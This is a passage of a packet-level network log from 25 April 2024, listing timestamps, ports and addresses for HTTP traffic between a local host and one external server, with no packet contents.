Apr 25, 2024 16:29:12.396817923 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.396841049 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.396912098 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.396946907 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.396975994 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.396998882 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.397012949 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.397036076 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.397047997 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.397078991 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.397123098 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.397157907 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.397186041 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.397222996 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.397223949 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.397258043 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.397304058 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.397340059 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.397382975 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.397428036 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.397430897 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.397459984 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.397509098 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.397522926 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.397540092 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.397561073 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.397568941 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.397604942 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.397675037 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.397706985 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.397759914 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.397799969 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.397814035 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.397847891 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.397867918 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.397903919 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.397933960 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.397967100 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.397983074 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.398019075 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.398036003 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.398072958 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.398108959 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.398142099 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.398150921 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.398185015 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.398204088 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.398246050 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.398263931 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.398288965 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.398303032 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.398338079 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.398386955 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.398401976 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.398421049 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.398432016 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.398442984 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.398458958 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.398472071 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.398499012 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.398530960 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.398542881 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.398564100 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.398571968 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.398591042 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.398601055 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.398628950 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.398663044 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.398665905 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.398691893 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.398704052 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.398726940 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.398734093 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.398758888 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.398775101 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.398801088 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.398803949 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.398833990 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.398852110 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.398865938 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.398890018 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.398905993 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.398906946 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.398921013 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.398958921 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.398958921 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.398974895 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.398991108 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.399007082 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.399034023 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.399045944 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.399069071 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.399076939 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.399091005 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.399104118 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.399111032 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.399132013 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.399144888 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.399162054 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.399199009 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.399214029 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.399226904 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.399245977 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.399264097 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.399312973 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.399338961 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.399349928 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.399373055 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.399415016 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.399427891 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.399446964 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.399461985 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.399463892 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.399476051 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.399493933 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.399528980 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.399581909 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.399594069 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.399616003 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.399617910 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.399631977 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.399648905 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.399656057 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.399689913 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.399724007 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.399753094 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.399763107 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.399795055 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.399789095 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.399827957 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.399857044 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.399893999 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.399905920 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.399944067 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.399960041 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.399991989 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.400038004 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.400051117 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.400069952 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.400084972 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.400155067 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.400167942 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.400190115 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.400201082 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.400221109 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.400259972 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.400289059 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.400335073 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.400335073 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.400369883 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.400384903 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.400424004 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.400443077 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.400477886 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.400477886 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.400516987 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.400517941 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.400552988 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.400571108 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.400600910 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.400629997 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.400671005 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.400676966 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.400703907 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.400732040 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.400767088 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.400789976 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.400815010 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.400829077 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.400849104 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.400877953 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.400913954 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.401036978 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.401070118 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.401099920 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.401134014 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.401146889 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.401182890 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.401185036 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.401226997 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.401227951 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.401262999 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.401316881 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.401351929 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.401370049 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.401410103 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.401410103 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.401441097 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.401458979 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.401496887 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.401539087 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.401571989 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.401576042 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.401592970 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.401603937 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.401628017 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.401654959 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.401691914 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.401707888 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.401742935 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.401758909 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.401793003 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.401904106 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.401932001 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.401942968 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.401981115 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.401993036 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.402021885 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.402051926 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.402085066 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.402096033 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.402127981 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.402142048 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.402167082 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.402173996 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.402224064 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.402242899 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.402259111 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.402299881 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.402333975 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.402347088 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.402381897 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.402420998 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.402457952 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.402487040 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.402523994 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.402584076 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.402617931 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.402647018 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.402683020 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.402689934 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.402720928 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.402731895 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.402745962 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.402766943 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.402776957 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.402811050 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.402852058 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.402857065 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.402889967 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.402903080 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.402937889 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.403090954 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.403151035 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.403178930 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.403209925 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.403218031 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.403254986 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.403287888 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.403322935 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.403340101 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.403376102 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.403376102 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.403408051 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.403417110 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.403449059 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.403467894 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.403502941 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.403531075 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.403563023 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.403563976 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.403598070 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.403712988 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.403743029 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.403749943 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.403784990 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.403842926 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.403877020 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.403907061 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.403939962 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.403969049 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.404005051 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.404005051 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.404032946 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.404047966 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.404088020 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.404109955 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.404119968 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.404136896 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.404171944 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.404202938 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.404243946 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.404254913 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.404289961 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.404350996 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.404380083 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.404397011 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.404432058 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.404459953 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.404498100 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.404576063 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.404608965 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.404639006 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.404673100 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.404685020 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.404717922 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.404736996 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.404773951 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.404810905 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.404843092 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.404849052 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.404884100 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.404901028 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.404934883 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.404944897 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.404978037 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.405052900 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.405090094 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.405147076 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.405194998 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.405211926 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.405236006 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.405251980 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.405266047 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.405282021 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.405314922 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.405333042 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.405360937 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.405392885 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.405430079 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.405442953 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.405478001 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.405498028 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.405528069 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.405560970 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.405597925 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.405611038 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.405661106 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.405663967 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.405695915 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.405736923 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.405750990 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.405766964 CEST	49709	80	192.168.2.5	193.233.132.175
